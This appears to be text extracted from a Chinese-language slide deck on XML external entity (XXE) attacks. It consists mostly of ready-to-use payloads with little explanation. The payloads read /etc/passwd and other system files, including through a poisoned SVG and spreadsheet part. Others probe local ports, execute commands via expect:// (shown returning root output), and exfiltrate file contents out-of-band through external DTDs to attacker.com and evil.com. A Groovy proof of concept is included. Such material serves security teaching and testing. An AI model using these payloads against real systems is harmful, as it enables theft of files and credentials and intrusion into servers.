XML实体攻击

["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE 
svg[<!ENTITY test SYSTEM \"file:///etc/passwd\">]><svg 
style=\"overflow: hidden; position: relative;\" 
xmlns=\"http://www.w3.org/2000/svg\" 
xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" 
version=\"1.1\" height=\"880\"><path 
transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\" 
d=\"5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\" 
y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\" 
font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-
size=\"12px\"><tspan 
dy=\"10.903846153846155\">&test;</tspan></text></svg>"]

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<w:document> 
<w:body><w:p w:rsidR="00221056" 
w:rsidRDefault="000B15BC"><w:pPr><w:rPr><w:rFonts 
w:hint="eastAsia"/></w:rPr></w:pPr><w:r><w:rPr><w:rFonts 
w:hint="eastAsia"/></w:rPr><w:t>我</w:t></w:r><w:r><w:t>是
一个文档。</w:t></w:r><w:bookmarkStart w:id="0" 
w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr 
w:rsidR="00221056"><w:pgSz w:w="11906" 
w:h="16838"/><w:pgMar w:top="1440" w:right="1800" 
w:bottom="1440" w:left="1800" w:header="851" w:footer="992" 
w:gutter="0"/><w:cols w:space="425"/><w:docGrid w:type="lines" 
w:linePitch="312"/></w:sectPr></w:body> 
</w:document> 

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<!DOCTYPE t [ 
<!ENTITY xxe SYSTEM "file:///etc/network/interfaces"> 
]> 
<sst 
xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/m
ain" count="1" uniqueCount="1"><si><t>&xxe;</t><phoneticPr 
fontId="1" type="noConversion"/></si></sst>

? 拒绝服务 
? 枚举目录 
? 文件读取 
? 内网探测 
? 端口扫描 
? 文件上传 
? 命令执行

<?xml version="1.0" encoding="UTF-
8"?> 
<!DOCTYPE UserInfo [ 
<!ENTITY name SYSTEM 
"file:///dev/random"> 
]> 
<UserInfo> 
    <name>&name;</name> 
</UserInfo>

def xxePoc = ' 
<?xml version="1.0"?><!DOCTYPE customer[<!ENTITY name 
SYSTEM 
"file:///">]><customer><name>&name;</name></customer>' 
def xmlParser = new XmlSlurper(); 
def parsedContent = xmlParser.parseText(xxePoc) 
println parsedContent

<!DOCTYPE UserInfo [ 
<!ENTITY name SYSTEM 
"http://127.0.0.1:22/">]> 
<UserInfo> 
    <name>&name;</name> 
</UserInfo>

Java通过jar协议处理远程jar包： 
1.
获取远程jar包 
2.
解压缩jar包，提取指定文件 
3.
链接结束后，删除临时文件 
jar:http://host/evil.jar!/file/in/the/jar 

HTTP/1.0 200 OK 
Content-Type: application/java-archive 
Date: Sat Aug 09 04:31:39 EDT 2014 
Server: EvilServer 1.0 
 
This file was uploaded from the 
attacker server. 

<!DOCTYPE root [<!ENTITY foo SYSTEM 
"expect://id">]> 
<methodCall> 
<methodName>&foo;</methodName> 
</methodCall>

<methodResponse> 
<fault><value><struct> 
<member> 
<name>faultString</name> 
<value> 
<string>Method &uid=0(root) gid=0(root) 
groups=0(root)&quot; does not 
exist</string> 
</value> 
</member> 
</struct></value></fault> 
</methodResponse> 

? OOB（Out-Of-Band）：外带数据 
多数情况下，能直接返回目标内容的攻击场景很少，因此需要一些技巧来获取我们想要的数据。 
? 参数实体（Parameter Entity）： 
如果说实体是XML节点中引用的内容，那么参数实体就是实体中引用的内容。 
<!ENTITY % name "foo"> 
<!ENTITY copyright "copyright ?2008, %name;.cn, ALL Right Reserved
"> 
1）参数实体只能在DTD声明中使用。 
2）参数实体中不能再引用参数实体。 

<!DOCTYPE root [  
?  <!ENTITY % file SYSTEM 
“file:///etc/hosts"> 
 <!ENTITY % dtd SYSTEM 
"http://attacker.com/ext.dtd"> 
%dtd; 
%send; 
]]> 
<zabbix_export> 
</zabbix_export> 

<!DOCTYPE a [ 
   <!ENTITY % asd SYSTEM 
“http://attacker.com/ext.dtd">  
   %asd;  
   %c;  
   %rrr;  
]> 
<a></a> 

<!ENTITY % b SYSTEM " 
php://filter/read=convert.base64-encode/resource= 
file:///etc/passwd"> 
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 
'ftp://evil.com:8000/%b;'>">

<!DOCTYPE roottag [  
 <!ENTITY % file SYSTEM "file:///etc/passwd"> 
 <!ENTITY % dtd SYSTEM 
"http://attacker.com/ext.dtd">  
%dtd;]> 

<!ENTITY % all "<!ENTITY send 
SYSTEM 
'gopher://attacker.com:1337/1%file;'
>"> 
%all; 

<!DOCTYPE test [   
  <!ENTITY % one SYSTEM 
"https://attacker.com/ext.dtd" > 
  %one; 
  %two; 
  %four; 
]>

<!ENTITY % three SYSTEM 
"file:///c:/windows/win.ini"> 
<!ENTITY % two "<!ENTITY % four SYSTEM 
'file:///%three;'>">